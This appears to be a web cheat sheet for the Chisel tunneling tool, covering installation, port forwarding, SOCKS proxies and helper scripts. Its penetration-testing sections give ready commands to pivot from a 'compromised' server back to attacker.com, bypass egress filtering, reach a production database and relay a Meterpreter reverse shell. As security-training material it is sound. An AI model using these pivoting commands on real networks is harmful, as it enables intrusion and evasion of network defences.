Skip to content

Chisel Cheat Sheet

Overview

Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH. It's a powerful tool for network pivoting, port forwarding, and bypassing firewalls. Written in Go, Chisel is designed to be lightweight, cross-platform, and easy to deploy. It's particularly useful in penetration testing scenarios where you need to establish secure tunnels through restrictive network environments.

⚠️ Warning: Only use Chisel in environments you own or have explicit permission to test. Unauthorized use may violate terms of service or local laws.

Installation

Pre-compiled Binaries

bash
# Download latest release for Linux
wget https://github.com/jpillora/chisel/releases/latest/download/chisel_1.9.1_linux_amd64.gz
gunzip chisel_1.9.1_linux_amd64.gz
chmod +x chisel_1.9.1_linux_amd64
sudo mv chisel_1.9.1_linux_amd64 /usr/local/bin/chisel

# Download for Windows
wget https://github.com/jpillora/chisel/releases/latest/download/chisel_1.9.1_windows_amd64.gz

# Download for macOS
wget https://github.com/jpillora/chisel/releases/latest/download/chisel_1.9.1_darwin_amd64.gz

# Verify installation
chisel --version

Package Manager Installation

bash
# Ubuntu/Debian (from snap)
sudo snap install chisel

# macOS with Homebrew
brew install chisel

# Arch Linux (AUR)
yay -S chisel

# Go installation
go install github.com/jpillora/chisel@latest

Manual Compilation

bash
# Install Go if not already installed
wget https://golang.org/dl/go1.21.0.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin

# Clone and build Chisel
git clone https://github.com/jpillora/chisel.git
cd chisel
go build -ldflags "-s -w" .

# Install binary
sudo mv chisel /usr/local/bin/

Docker Installation

bash
# Pull Docker image
docker pull jpillora/chisel:latest

# Run Chisel server in Docker
docker run --rm -p 8080:8080 jpillora/chisel:latest server --port 8080

# Create alias for easier usage
echo 'alias chisel="docker run --rm -it --network host jpillora/chisel:latest"' >> ~/.bashrc
source ~/.bashrc

Basic Usage

Server Mode

bash
# Start basic server
chisel server --port 8080

# Server with authentication
chisel server --port 8080 --auth user:password

# Server with key-based authentication
chisel server --port 8080 --key "your-secret-key"

# Server with reverse tunnels allowed
chisel server --port 8080 --reverse

# Server with specific bind address
chisel server --host 0.0.0.0 --port 8080

# Server with verbose logging
chisel server --port 8080 -v

Client Mode

bash
# Basic client connection
chisel client server.example.com:8080

# Client with authentication
chisel client user:password@server.example.com:8080

# Client with key-based authentication
chisel client --auth user:password server.example.com:8080

# Client with verbose logging
chisel client -v server.example.com:8080

# Client with custom fingerprint verification
chisel client --fingerprint "ab:cd:ef:..." server.example.com:8080

Port Forwarding

Local Port Forwarding

bash
# Forward local port 3000 to remote port 80
chisel client server.example.com:8080 3000:target.internal:80

# Forward local port 8080 to remote SSH
chisel client server.example.com:8080 2222:target.internal:22

# Forward local port to remote database
chisel client server.example.com:8080 5432:database.internal:5432

# Multiple port forwards
chisel client server.example.com:8080 3000:web.internal:80 2222:ssh.internal:22

# Forward with specific local interface
chisel client server.example.com:8080 127.0.0.1:3000:target.internal:80

Remote Port Forwarding

bash
# Server must be started with --reverse flag
chisel server --port 8080 --reverse

# Forward remote port 8080 to local port 80
chisel client server.example.com:8080 R:8080:localhost:80

# Forward remote port to local SSH
chisel client server.example.com:8080 R:2222:localhost:22

# Forward remote port to local database
chisel client server.example.com:8080 R:5432:localhost:5432

# Multiple remote forwards
chisel client server.example.com:8080 R:8080:localhost:80 R:2222:localhost:22

Dynamic Port Forwarding (SOCKS)

bash
# Create SOCKS5 proxy on local port 1080
chisel client server.example.com:8080 socks

# Create SOCKS5 proxy on custom port
chisel client server.example.com:8080 1080:socks

# Create SOCKS5 proxy with specific interface
chisel client server.example.com:8080 127.0.0.1:1080:socks

# Use the SOCKS proxy
curl --socks5 127.0.0.1:1080 http://internal.target.com

Advanced Tunneling

HTTP Tunneling

bash
# Server configuration for HTTP tunneling
chisel server --port 80 --reverse

# Client connecting through HTTP
chisel client http://server.example.com:80 3000:target.internal:80

# Client with custom headers
chisel client --header "X-Custom: value" server.example.com:8080 3000:target.internal:80

# Client through HTTP proxy
chisel client --proxy http://proxy.company.com:8080 server.example.com:8080 3000:target.internal:80

HTTPS Tunneling

bash
# Server with TLS
chisel server --port 443 --tls-key server.key --tls-cert server.crt

# Client connecting via HTTPS
chisel client https://server.example.com:443 3000:target.internal:80

# Client ignoring certificate errors
chisel client --tls-skip-verify https://server.example.com:443 3000:target.internal:80

# Client with custom CA certificate
chisel client --tls-ca ca.crt https://server.example.com:443 3000:target.internal:80

WebSocket Tunneling

bash
# Server with WebSocket support (default)
chisel server --port 8080

# Client using WebSocket
chisel client ws://server.example.com:8080 3000:target.internal:80

# Client using secure WebSocket
chisel client wss://server.example.com:8080 3000:target.internal:80

# Client with custom WebSocket path
chisel client server.example.com:8080/custom/path 3000:target.internal:80

Penetration Testing Scenarios

Network Pivoting

bash
# Scenario: Access internal network through compromised web server

# 1. On compromised web server (DMZ host)
./chisel client attacker.com:8080 R:9999:127.0.0.1:9999

# 2. On attacker machine
chisel server --port 8080 --reverse

# 3. Create SOCKS proxy through the tunnel
chisel client 127.0.0.1:9999 1080:socks

# 4. Use SOCKS proxy to access internal network
proxychains4 nmap -sT 192.168.1.0/24
curl --socks5 127.0.0.1:1080 http://192.168.1.100

Firewall Bypass

bash
# Scenario: Bypass egress filtering

# 1. Set up Chisel server on external VPS (port 443 for HTTPS)
chisel server --port 443 --tls-cert server.crt --tls-key server.key --reverse

# 2. From internal network, connect to external server
chisel client https://external.vps.com:443 R:8080:127.0.0.1:8080

# 3. Create local SOCKS proxy
chisel client 127.0.0.1:8080 1080:socks

# 4. Route traffic through the tunnel
export https_proxy=socks5://127.0.0.1:1080
curl https://blocked-site.com

Database Access

bash
# Scenario: Access internal database through web application server

# 1. On web application server
chisel client attacker.com:8080 R:5432:database.internal:5432

# 2. On attacker machine
chisel server --port 8080 --reverse

# 3. Connect to database through tunnel
psql -h 127.0.0.1 -p 5432 -U dbuser -d production

# 4. Or create persistent tunnel
chisel client 127.0.0.1:8080 5432:database.internal:5432

Multi-hop Tunneling

bash
# Scenario: Chain multiple tunnels for deep network access

# 1. First hop: Attacker -> DMZ Server
chisel server --port 8080 --reverse  # On attacker machine
chisel client attacker.com:8080 R:9001:127.0.0.1:9001  # On DMZ server

# 2. Second hop: DMZ Server -> Internal Server
chisel server --port 9001 --reverse  # On DMZ server
chisel client 127.0.0.1:9001 R:9002:127.0.0.1:9002  # On internal server

# 3. Final access: Create SOCKS proxy
chisel client 127.0.0.1:9002 1080:socks  # On attacker machine

# 4. Access deep internal resources
curl --socks5 127.0.0.1:1080 http://deep.internal.network

Automation Scripts

Tunnel Management Script

bash
#!/bin/bash
# Chisel tunnel management script

CHISEL_SERVER="server.example.com:8080"
CHISEL_AUTH="user:password"
PID_DIR="/tmp/chisel_pids"
LOG_DIR="/tmp/chisel_logs"

mkdir -p "$PID_DIR" "$LOG_DIR"

start_tunnel() {
    local name="$1"
    local tunnel_spec="$2"
    local pid_file="$PID_DIR/${name}.pid"
    local log_file="$LOG_DIR/${name}.log"
    
    if [ -f "$pid_file" ] && kill -0 "$(cat "$pid_file")" 2>/dev/null; then
        echo "Tunnel '$name' is already running (PID: $(cat "$pid_file"))"
        return 1
    fi
    
    echo "Starting tunnel: $name"
    chisel client --auth "$CHISEL_AUTH" "$CHISEL_SERVER" "$tunnel_spec" \
        > "$log_file" 2>&1 &
    
    echo $! > "$pid_file"
    echo "Tunnel '$name' started (PID: $!)"
}

stop_tunnel() {
    local name="$1"
    local pid_file="$PID_DIR/${name}.pid"
    
    if [ ! -f "$pid_file" ]; then
        echo "Tunnel '$name' is not running"
        return 1
    fi
    
    local pid=$(cat "$pid_file")
    if kill -0 "$pid" 2>/dev/null; then
        kill "$pid"
        rm "$pid_file"
        echo "Tunnel '$name' stopped"
    else
        echo "Tunnel '$name' was not running (removing stale PID file)"
        rm "$pid_file"
    fi
}

status_tunnel() {
    local name="$1"
    local pid_file="$PID_DIR/${name}.pid"
    
    if [ -f "$pid_file" ] && kill -0 "$(cat "$pid_file")" 2>/dev/null; then
        echo "Tunnel '$name' is running (PID: $(cat "$pid_file"))"
    else
        echo "Tunnel '$name' is not running"
    fi
}

list_tunnels() {
    echo "Active tunnels:"
    for pid_file in "$PID_DIR"/*.pid; do
        if [ -f "$pid_file" ]; then
            local name=$(basename "$pid_file" .pid)
            status_tunnel "$name"
        fi
    done
}

case "$1" in
    start)
        if [ $# -ne 3 ]; then
            echo "Usage: $0 start <name> <tunnel_spec>"
            echo "Example: $0 start web 3000:internal.web:80"
            exit 1
        fi
        start_tunnel "$2" "$3"
        ;;
    stop)
        if [ $# -ne 2 ]; then
            echo "Usage: $0 stop <name>"
            exit 1
        fi
        stop_tunnel "$2"
        ;;
    status)
        if [ $# -ne 2 ]; then
            echo "Usage: $0 status <name>"
            exit 1
        fi
        status_tunnel "$2"
        ;;
    list)
        list_tunnels
        ;;
    *)
        echo "Usage: $0 {start|stop|status|list}"
        echo ""
        echo "Commands:"
        echo "  start <name> <spec>  Start a named tunnel"
        echo "  stop <name>          Stop a named tunnel"
        echo "  status <name>        Check tunnel status"
        echo "  list                 List all tunnels"
        exit 1
        ;;
esac

Auto-Reconnect Script

bash
#!/bin/bash
# Auto-reconnecting Chisel client

CHISEL_SERVER="server.example.com:8080"
CHISEL_AUTH="user:password"
TUNNEL_SPEC="3000:internal.web:80"
RECONNECT_DELAY=10
MAX_RETRIES=0  # 0 = infinite retries

retry_count=0

while true; do
    echo "[$(date)] Starting Chisel client..."
    
    chisel client --auth "$CHISEL_AUTH" "$CHISEL_SERVER" "$TUNNEL_SPEC"
    exit_code=$?
    
    echo "[$(date)] Chisel client exited with code: $exit_code"
    
    if [ $MAX_RETRIES -gt 0 ] && [ $retry_count -ge $MAX_RETRIES ]; then
        echo "[$(date)] Maximum retries ($MAX_RETRIES) reached. Exiting."
        exit 1
    fi
    
    retry_count=$((retry_count + 1))
    echo "[$(date)] Retry $retry_count. Reconnecting in $RECONNECT_DELAY seconds..."
    sleep $RECONNECT_DELAY
done

Health Check Script

bash
#!/bin/bash
# Chisel tunnel health check

TUNNEL_NAME="$1"
TEST_HOST="$2"
TEST_PORT="$3"
SOCKS_PORT="${4:-1080}"

if [ $# -lt 3 ]; then
    echo "Usage: $0 <tunnel_name> <test_host> <test_port> [socks_port]"
    echo "Example: $0 web internal.web 80 1080"
    exit 1
fi

check_tunnel_process() {
    pgrep -f "chisel.*$TUNNEL_NAME" >/dev/null
}

check_socks_proxy() {
    nc -z 127.0.0.1 "$SOCKS_PORT" 2>/dev/null
}

check_target_connectivity() {
    timeout 10 curl -s --socks5 "127.0.0.1:$SOCKS_PORT" \
        "http://$TEST_HOST:$TEST_PORT" >/dev/null 2>&1
}

echo "Checking tunnel health: $TUNNEL_NAME"

# Check if tunnel process is running
if check_tunnel_process; then
    echo "✓ Tunnel process is running"
else
    echo "✗ Tunnel process is not running"
    exit 1
fi

# Check if SOCKS proxy is listening
if check_socks_proxy; then
    echo "✓ SOCKS proxy is listening on port $SOCKS_PORT"
else
    echo "✗ SOCKS proxy is not listening on port $SOCKS_PORT"
    exit 1
fi

# Check target connectivity
if check_target_connectivity; then
    echo "✓ Target $TEST_HOST:$TEST_PORT is reachable through tunnel"
else
    echo "✗ Target $TEST_HOST:$TEST_PORT is not reachable through tunnel"
    exit 1
fi

echo "All health checks passed!"

Batch Tunnel Setup

bash
#!/bin/bash
# Set up multiple tunnels from configuration file

CONFIG_FILE="${1:-tunnels.conf}"

if [ ! -f "$CONFIG_FILE" ]; then
    echo "Configuration file not found: $CONFIG_FILE"
    echo "Creating example configuration..."
    
    cat > "$CONFIG_FILE" << 'EOF'
# Chisel tunnel configuration
# Format: name|server|auth|tunnel_spec
web|server.example.com:8080|user:pass|3000:internal.web:80
ssh|server.example.com:8080|user:pass|2222:internal.ssh:22
db|server.example.com:8080|user:pass|5432:internal.db:5432
socks|server.example.com:8080|user:pass|1080:socks
EOF
    
    echo "Example configuration created: $CONFIG_FILE"
    echo "Edit the file and run the script again."
    exit 1
fi

echo "Setting up tunnels from: $CONFIG_FILE"

while IFS='|' read -r name server auth tunnel_spec; do
    # Skip comments and empty lines
    [[ "$name" =~ ^#.*$ ]] && continue
    [[ -z "$name" ]] && continue
    
    echo "Starting tunnel: $name"
    
    chisel client --auth "$auth" "$server" "$tunnel_spec" \
        > "/tmp/chisel_${name}.log" 2>&1 &
    
    echo $! > "/tmp/chisel_${name}.pid"
    echo "  PID: $!"
    echo "  Log: /tmp/chisel_${name}.log"
    
    sleep 2
done < "$CONFIG_FILE"

echo "All tunnels started. Use 'ps aux | grep chisel' to verify."

Integration with Security Tools

Metasploit Integration

bash
# Set up reverse tunnel for Metasploit payload
# 1. On target machine
chisel client attacker.com:8080 R:4444:127.0.0.1:4444

# 2. On attacker machine
chisel server --port 8080 --reverse

# 3. In Metasploit
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
run

SSH Tunneling

bash
# Replace SSH tunneling with Chisel
# Traditional SSH tunnel:
# ssh -L 3000:internal.web:80 user@jumphost

# Equivalent Chisel tunnel:
chisel server --port 8080 --reverse  # On jumphost
chisel client jumphost:8080 3000:internal.web:80  # On local machine

# Dynamic SSH tunnel replacement:
# ssh -D 1080 user@jumphost

# Equivalent Chisel SOCKS proxy:
chisel client jumphost:8080 1080:socks

Burp Suite Integration

bash
# Set up Chisel SOCKS proxy for Burp Suite
chisel client server.example.com:8080 1080:socks

# Configure Burp Suite to use SOCKS proxy:
# 1. Go to User options > Connections > SOCKS Proxy
# 2. Check "Use SOCKS proxy"
# 3. SOCKS host: 127.0.0.1
# 4. SOCKS port: 1080

# Or use Burp's upstream proxy settings:
# 1. Go to User options > Connections > Upstream Proxy Servers
# 2. Add rule for target host
# 3. Proxy host: 127.0.0.1
# 4. Proxy port: 1080
# 5. Proxy type: SOCKS

Troubleshooting

Common Issues

Connection Problems

bash
# Test server connectivity
nc -zv server.example.com 8080

# Check if server is running
chisel server --port 8080 -v

# Test with verbose client
chisel client -v server.example.com:8080

# Check firewall rules
sudo ufw status
sudo iptables -L

Authentication Issues

bash
# Test authentication
chisel client --auth user:password server.example.com:8080

# Check server authentication settings
chisel server --port 8080 --auth user:password -v

# Use key-based authentication
chisel server --port 8080 --key "secret-key"
chisel client --auth user:secret-key server.example.com:8080

Tunnel Issues

bash
# Test local port binding
netstat -tlnp | grep :3000

# Test target connectivity from server
nc -zv target.internal 80

# Check tunnel specification syntax
chisel client server.example.com:8080 3000:target.internal:80 -v

# Test SOCKS proxy
curl --socks5 127.0.0.1:1080 http://httpbin.org/ip

Performance Issues

bash
# Monitor tunnel performance
iftop -i any
nethogs

# Check system resources
top
htop

# Optimize tunnel settings
chisel client --keepalive 30s server.example.com:8080 3000:target.internal:80

# Use compression (if available)
chisel client --compress server.example.com:8080 3000:target.internal:80

Debugging and Logging

bash
# Enable verbose logging
chisel server --port 8080 -v
chisel client -v server.example.com:8080 3000:target.internal:80

# Log to file
chisel server --port 8080 -v 2>&1 | tee server.log
chisel client -v server.example.com:8080 3000:target.internal:80 2>&1 | tee client.log

# Monitor network traffic
sudo tcpdump -i any -n host server.example.com
sudo tcpdump -i any -n port 8080

# Check system logs
journalctl -f | grep chisel
tail -f /var/log/syslog | grep chisel

Resources


This cheat sheet provides a comprehensive reference for using Chisel for TCP/UDP tunneling and network pivoting. Always ensure you have proper authorization before using this tool in any environment.